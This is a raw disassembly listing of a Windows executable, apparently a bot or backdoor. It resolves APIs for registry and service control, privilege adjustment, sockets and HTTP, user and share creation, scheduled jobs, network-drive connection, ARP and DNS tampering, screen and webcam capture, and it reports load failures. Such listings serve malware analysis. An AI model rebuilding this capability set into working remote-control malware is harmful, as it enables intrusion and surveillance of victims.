push edi
mov dword_441298, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_441354, eax
call esi ; GetProcAddress
cmp dword_441384, ebx
mov dword_441340, eax
jz short loc_4099E9
cmp dword_441298, ebx
jz short loc_4099E9
cmp dword_441354, ebx
jz short loc_4099E9
cmp eax, ebx
jnz short loc_4099F3
jmp short loc_4099E9
; ---------------------------------------------------------------------------
loc_4099DE: ; CODE XREF: sub_409794+144j
nop
call near ptr 7C910331h
mov dword_441484, eax
loc_4099E9: ; CODE XREF: sub_409794+232j
; sub_409794+23Aj ...
mov dword_441480, 1
loc_4099F3: ; CODE XREF: sub_409794+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409B8E
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_441428, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_44136C, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4413DC, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4412C4, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_441324, eax
call esi ; GetProcAddress
cmp dword_441428, ebx
mov dword_441394, eax
jz short loc_409A7E
cmp dword_44136C, ebx
jz short loc_409A7E
cmp dword_4413DC, ebx
jz short loc_409A7E
cmp dword_4412C4, ebx
jz short loc_409A7E
cmp dword_441324, ebx
jz short loc_409A7E
cmp eax, ebx
jnz short loc_409A88
loc_409A7E: ; CODE XREF: sub_409794+2C4j
; sub_409794+2CCj ...
mov dword_441488, 1
loc_409A88: ; CODE XREF: sub_409794+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_44139C, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_441374, eax
call esi ; GetProcAddress
cmp dword_44139C, ebx
mov dword_441424, eax
jz short loc_409AC3
cmp dword_441374, ebx
jz short loc_409AC3
cmp eax, ebx
jnz short loc_409ACD
loc_409AC3: ; CODE XREF: sub_409794+321j
; sub_409794+329j
mov dword_441488, 1
loc_409ACD: ; CODE XREF: sub_409794+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4413AC, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4412A0, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4412A8, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_441308, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_44130C, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4412BC, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_441378, eax
call esi ; GetProcAddress
cmp dword_4413AC, ebx
mov dword_4412AC, eax
jz short loc_409B71
cmp dword_4412A0, ebx
jz short loc_409B71
cmp dword_4412A8, ebx
jz short loc_409B71
cmp dword_441308, ebx
jz short loc_409B71
cmp dword_44130C, ebx
jz short loc_409B71
cmp dword_4412BC, ebx
jz short loc_409B71
cmp dword_441378, ebx
jz short loc_409B71
cmp eax, ebx
jnz short loc_409B7B
loc_409B71: ; CODE XREF: sub_409794+3A7j
; sub_409794+3AFj ...
mov dword_441488, 1
loc_409B7B: ; CODE XREF: sub_409794+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4412A4, eax
jnz short loc_409BA3
jmp short loc_409B99
; ---------------------------------------------------------------------------
loc_409B8E: ; CODE XREF: sub_409794+26Aj
nop
call near ptr 7C910331h
mov dword_44148C, eax
loc_409B99: ; CODE XREF: sub_409794+3F8j
mov dword_441488, 1
loc_409BA3: ; CODE XREF: sub_409794+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409C6F
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4413A4, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4413FC, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_441404, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4413C0, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4412E8, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_441294, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_441400, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_441280, eax
call esi ; GetProcAddress
cmp dword_4413A4, ebx
mov dword_44131C, eax
jz short loc_409C7A
cmp dword_4413FC, ebx
jz short loc_409C7A
cmp dword_441404, ebx
jz short loc_409C7A
cmp dword_4413C0, ebx
jz short loc_409C7A
cmp dword_4412E8, ebx
jz short loc_409C7A
cmp dword_441294, ebx
jz short loc_409C7A
cmp dword_441400, ebx
jz short loc_409C7A
cmp dword_441280, ebx
jz short loc_409C7A
cmp eax, ebx
jnz short loc_409C84
jmp short loc_409C7A
; ---------------------------------------------------------------------------
loc_409C6F: ; CODE XREF: sub_409794+41Aj
nop
call near ptr 7C910331h
mov dword_441494, eax
loc_409C7A: ; CODE XREF: sub_409794+49Bj
; sub_409794+4A3j ...
mov dword_441490, 1
loc_409C84: ; CODE XREF: sub_409794+4D7j
mov ebp, dword_4210DC
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409F40
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_441330, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_44145C, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4412D4, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4412B0, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_441364, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_44134C, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_441318, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_441438, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_441454, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_441360, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_441444, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4413F8, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4413B8, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4413B4, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4412F4, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_4412EC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_441408, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_44141C, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4413D0, eax
call esi ; GetProcAddress
mov dword_441390, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4413E4, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4413A0, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4413E0, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_44144C, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_441398, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_44135C, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4413CC, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_44143C, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_441370, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_441314, eax
call esi ; GetProcAddress
cmp dword_441330, ebx
mov dword_441450, eax
jz loc_409F4B
cmp dword_44145C, ebx
jz loc_409F4B
cmp dword_4412D4, ebx
jz loc_409F4B
cmp dword_441364, ebx
jz loc_409F4B
cmp dword_44134C, ebx
jz loc_409F4B
cmp dword_441318, ebx
jz loc_409F4B
cmp dword_441438, ebx
jz loc_409F4B
cmp dword_441454, ebx
jz loc_409F4B
cmp dword_441360, ebx
jz loc_409F4B
cmp dword_441444, ebx
jz loc_409F4B
cmp dword_4413F8, ebx
jz loc_409F4B
cmp dword_4413B8, ebx
jz loc_409F4B
cmp dword_4413B4, ebx
jz loc_409F4B
cmp dword_4412F4, ebx
jz short loc_409F4B
cmp dword_441408, ebx
jz short loc_409F4B
cmp dword_44141C, ebx
jz short loc_409F4B
cmp dword_4413D0, ebx
jz short loc_409F4B
cmp dword_441390, ebx
jz short loc_409F4B
cmp dword_4413E4, ebx
jz short loc_409F4B
cmp dword_4413A0, ebx
jz short loc_409F4B
cmp dword_4413E0, ebx
jz short loc_409F4B
cmp dword_44144C, ebx
jz short loc_409F4B
cmp dword_441398, ebx
jz short loc_409F4B
cmp dword_44135C, ebx
jz short loc_409F4B
cmp dword_4413CC, ebx
jz short loc_409F4B
cmp dword_44143C, ebx
jz short loc_409F4B
cmp dword_441370, ebx
jz short loc_409F4B
cmp eax, ebx
jnz short loc_409F55
jmp short loc_409F4B
; ---------------------------------------------------------------------------
loc_409F40: ; CODE XREF: sub_409794+501j
nop
call near ptr 7C910331h
mov dword_44149C, eax
loc_409F4B: ; CODE XREF: sub_409794+6A0j
; sub_409794+6ACj ...
mov dword_441498, 1
loc_409F55: ; CODE XREF: sub_409794+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A05A
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4412FC, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_441288, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_441380, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_441334, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_44138C, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_441350, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4412C8, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4412C0, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4412D0, eax
call esi ; GetProcAddress
cmp dword_4412FC, ebx
mov ecx, dword_441350
mov dword_4413EC, eax
jz short loc_40A036
cmp dword_441288, ebx
jz short loc_40A036
cmp dword_441380, ebx
jz short loc_40A036
cmp dword_441334, ebx
jz short loc_40A036
cmp dword_44138C, ebx
jz short loc_40A036
cmp ecx, ebx
jz short loc_40A036
cmp dword_4412C8, ebx
jz short loc_40A036
cmp dword_4412C0, ebx
jz short loc_40A036
cmp dword_4412D0, ebx
jz short loc_40A036
cmp eax, ebx
jnz short loc_40A040
loc_40A036: ; CODE XREF: sub_409794+860j
; sub_409794+868j ...
mov dword_4414A0, 1
loc_40A040: ; CODE XREF: sub_409794+8A0j
cmp ecx, ebx
jz short loc_40A075
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_441368, eax
jnz short loc_40A075
jmp short loc_40A06F
; ---------------------------------------------------------------------------
loc_40A05A: ; CODE XREF: sub_409794+7CCj
nop
call near ptr 7C910331h
mov dword_4414A4, eax
mov dword_4414A0, 1
loc_40A06F: ; CODE XREF: sub_409794+8C4j
mov dword_441368, ebx
loc_40A075: ; CODE XREF: sub_409794+8AEj
; sub_409794+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A0BF
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_441344, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_441470, eax
call esi ; GetProcAddress
cmp dword_441344, ebx
mov dword_4412DC, eax
jz short loc_40A0CA
cmp dword_441470, ebx
jz short loc_40A0CA
cmp eax, ebx
jnz short loc_40A0D4
jmp short loc_40A0CA
; ---------------------------------------------------------------------------
loc_40A0BF: ; CODE XREF: sub_409794+8ECj
nop
call near ptr 7C910331h
mov dword_4414AC, eax
loc_40A0CA: ; CODE XREF: sub_409794+91Bj
; sub_409794+923j ...
mov dword_4414A8, 1
loc_40A0D4: ; CODE XREF: sub_409794+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A1CA
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4412B8, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_441290, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_441304, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_441338, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_441448, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4412F0, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_44129C, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_44128C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_441320, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_441410, eax
call esi ; GetProcAddress
cmp dword_4412B8, ebx
mov dword_4413C8, eax
jz short loc_40A1D5
cmp dword_441290, ebx
jz short loc_40A1D5
cmp dword_441304, ebx
jz short loc_40A1D5
cmp dword_441338, ebx
jz short loc_40A1D5
cmp dword_441448, ebx
jz short loc_40A1D5
cmp dword_4412F0, ebx
jz short loc_40A1D5
cmp dword_44129C, ebx
jz short loc_40A1D5
cmp dword_44128C, ebx
jz short loc_40A1D5
cmp dword_441320, ebx
jz short loc_40A1D5
cmp dword_441410, ebx
jz short loc_40A1D5
cmp eax, ebx
jnz short loc_40A1DF
jmp short loc_40A1D5
; ---------------------------------------------------------------------------
loc_40A1CA: ; CODE XREF: sub_409794+94Bj
nop
call near ptr 7C910331h
mov dword_4414B4, eax
loc_40A1D5: ; CODE XREF: sub_409794+9E6j
; sub_409794+9EEj ...
mov dword_4414B0, 1
loc_40A1DF: ; CODE XREF: sub_409794+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A214
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4412E0, eax
call esi ; GetProcAddress
cmp dword_4412E0, ebx
mov dword_4413B0, eax
jz short loc_40A21F
cmp eax, ebx
jnz short loc_40A229
jmp short loc_40A21F
; ---------------------------------------------------------------------------
loc_40A214: ; CODE XREF: sub_409794+A56j
nop
call near ptr 7C910331h
mov dword_4414BC, eax
loc_40A21F: ; CODE XREF: sub_409794+A78j
; sub_409794+A7Ej
mov dword_4414B8, 1
loc_40A229: ; CODE XREF: sub_409794+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A25E
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_441434, eax
call esi ; GetProcAddress
cmp dword_441434, ebx
mov dword_441430, eax
jz short loc_40A269
cmp eax, ebx
jnz short loc_40A273
jmp short loc_40A269
; ---------------------------------------------------------------------------
loc_40A25E: ; CODE XREF: sub_409794+AA0j
nop
call near ptr 7C910331h
mov dword_4414C4, eax
loc_40A269: ; CODE XREF: sub_409794+AC2j
; sub_409794+AC8j
mov dword_4414C0, 1
loc_40A273: ; CODE XREF: sub_409794+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A2D2
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_441460, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_441458, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_441420, eax
call esi ; GetProcAddress
cmp dword_441460, ebx
mov dword_4412F8, eax
jz short loc_40A2DD
cmp dword_441458, ebx
jz short loc_40A2DD
cmp dword_441420, ebx
jz short loc_40A2DD
cmp eax, ebx
jnz short loc_40A2E7
jmp short loc_40A2DD
; ---------------------------------------------------------------------------
loc_40A2D2: ; CODE XREF: sub_409794+AEAj
nop
call near ptr 7C910331h
mov dword_4414CC, eax
loc_40A2DD: ; CODE XREF: sub_409794+B26j
; sub_409794+B2Ej ...
mov dword_4414C8, 1
loc_40A2E7: ; CODE XREF: sub_409794+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A31C
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_44132C, eax
call esi ; GetProcAddress
cmp dword_44132C, ebx
mov dword_44142C, eax
jz short loc_40A327
cmp eax, ebx
jnz short loc_40A331
jmp short loc_40A327
; ---------------------------------------------------------------------------
loc_40A31C: ; CODE XREF: sub_409794+B5Ej
nop
call near ptr 7C910331h
mov dword_4414D4, eax
loc_40A327: ; CODE XREF: sub_409794+B80j
; sub_409794+B86j
mov dword_4414D0, 1
loc_40A331: ; CODE XREF: sub_409794+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A3BA
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4413F4, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_441440, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_44137C, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_44133C, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4413D4, eax
call esi ; GetProcAddress
cmp dword_4413F4, ebx
mov dword_441348, eax
jz short loc_40A3C5
cmp dword_441440, ebx
jz short loc_40A3C5
cmp dword_44137C, ebx
jz short loc_40A3C5
cmp dword_44133C, ebx
jz short loc_40A3C5
cmp dword_4413D4, ebx
jz short loc_40A3C5
cmp eax, ebx
jnz short loc_40A3CF
jmp short loc_40A3C5
; ---------------------------------------------------------------------------
loc_40A3BA: ; CODE XREF: sub_409794+BA8j
nop
call near ptr 7C910331h
mov dword_4414DC, eax
loc_40A3C5: ; CODE XREF: sub_409794+BFEj
; sub_409794+C06j ...
mov dword_4414D8, 1
loc_40A3CF: ; CODE XREF: sub_409794+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A404
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_441310, eax
call esi ; GetProcAddress
cmp dword_441310, ebx
mov dword_4413E8, eax
jz short loc_40A40F
cmp eax, ebx
jnz short loc_40A419
jmp short loc_40A40F
; ---------------------------------------------------------------------------
loc_40A404: ; CODE XREF: sub_409794+C46j
nop
call near ptr 7C910331h
mov dword_4414E4, eax
loc_40A40F: ; CODE XREF: sub_409794+C68j
; sub_409794+C6Ej
mov dword_4414E0, 1
loc_40A419: ; CODE XREF: sub_409794+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409794 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A421 proc near ; CODE XREF: sub_40F6F1+58FFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_441478, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A469
push dword_44147C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A469: ; CODE XREF: sub_40A421+1Aj
cmp dword_441480, esi
jz short loc_40A49D
push dword_441484
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A49D: ; CODE XREF: sub_40A421+4Ej
cmp dword_441488, esi
jz short loc_40A4D1
push dword_44148C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A4D1: ; CODE XREF: sub_40A421+82j
cmp dword_441490, esi
jz short loc_40A505
push dword_441494
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A505: ; CODE XREF: sub_40A421+B6j
cmp dword_441498, esi
jz short loc_40A539
push dword_44149C
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A539: ; CODE XREF: sub_40A421+EAj
cmp dword_4414A0, esi
jz short loc_40A56D
push dword_4414A4
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A56D: ; CODE XREF: sub_40A421+11Ej
cmp dword_4414A8, esi
jz short loc_40A5A1
push dword_4414AC
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A5A1: ; CODE XREF: sub_40A421+152j
cmp dword_4414B0, esi
jz short loc_40A5D5
push dword_4414B4
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A5D5: ; CODE XREF: sub_40A421+186j
cmp dword_4414B8, esi
jz short loc_40A609
push dword_4414BC
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A609: ; CODE XREF: sub_40A421+1BAj
cmp dword_4414C0, esi
jz short loc_40A63D
push dword_4414C4
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A63D: ; CODE XREF: sub_40A421+1EEj
cmp dword_4414C8, esi
jz short loc_40A671
push dword_4414CC
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A671: ; CODE XREF: sub_40A421+222j
cmp dword_4414D0, esi
jz short loc_40A6A5
push dword_4414D4
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A6A5: ; CODE XREF: sub_40A421+256j
cmp dword_4414D8, esi
jz short loc_40A6D9
push dword_4414DC
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A6D9: ; CODE XREF: sub_40A421+28Aj
cmp dword_4414E0, esi
jz short loc_40A70D
push dword_4414E4
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
loc_40A70D: ; CODE XREF: sub_40A421+2BEj
lea eax, [ebp+var_200]
push offset unk_42B6E4
push eax
call sub_4173AC
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A73A
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_40A73A: ; CODE XREF: sub_40A421+302j
lea eax, [ebp+var_200]
push eax
call sub_40C4F7
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A421 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A74C proc near ; CODE XREF: sub_40F6F1+C56p
; sub_40F6F1+C8Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_40A7D7
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_40A7D7
cmp [ebp+arg_8], esi
jz short loc_40A7D7
cmp byte ptr [eax], 0
jz short loc_40A7D7
push ebx
push edi
call sub_4203A3
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40A7D2
push [ebp+arg_4]
push edi
call sub_417980
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40A7CB
sub eax, edi
push eax
push edi
push ebx
call sub_4182F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_417AF0
push eax
push [ebp+arg_8]
push ebx
call sub_4184C0
push [ebp+arg_4]
call sub_417AF0
add eax, esi
push eax
push ebx
call sub_417A10
push ebx
push edi
call sub_417A00
add esp, 30h
mov esi, edi
loc_40A7CB: ; CODE XREF: sub_40A74C+3Cj
push ebx
call sub_417C62
pop ecx
loc_40A7D2: ; CODE XREF: sub_40A74C+2Bj
mov eax, esi
pop ebx
jmp short loc_40A7D9
; ---------------------------------------------------------------------------
loc_40A7D7: ; CODE XREF: sub_40A74C+Cj
; sub_40A74C+13j ...
xor eax, eax
loc_40A7D9: ; CODE XREF: sub_40A74C+89j
pop edi
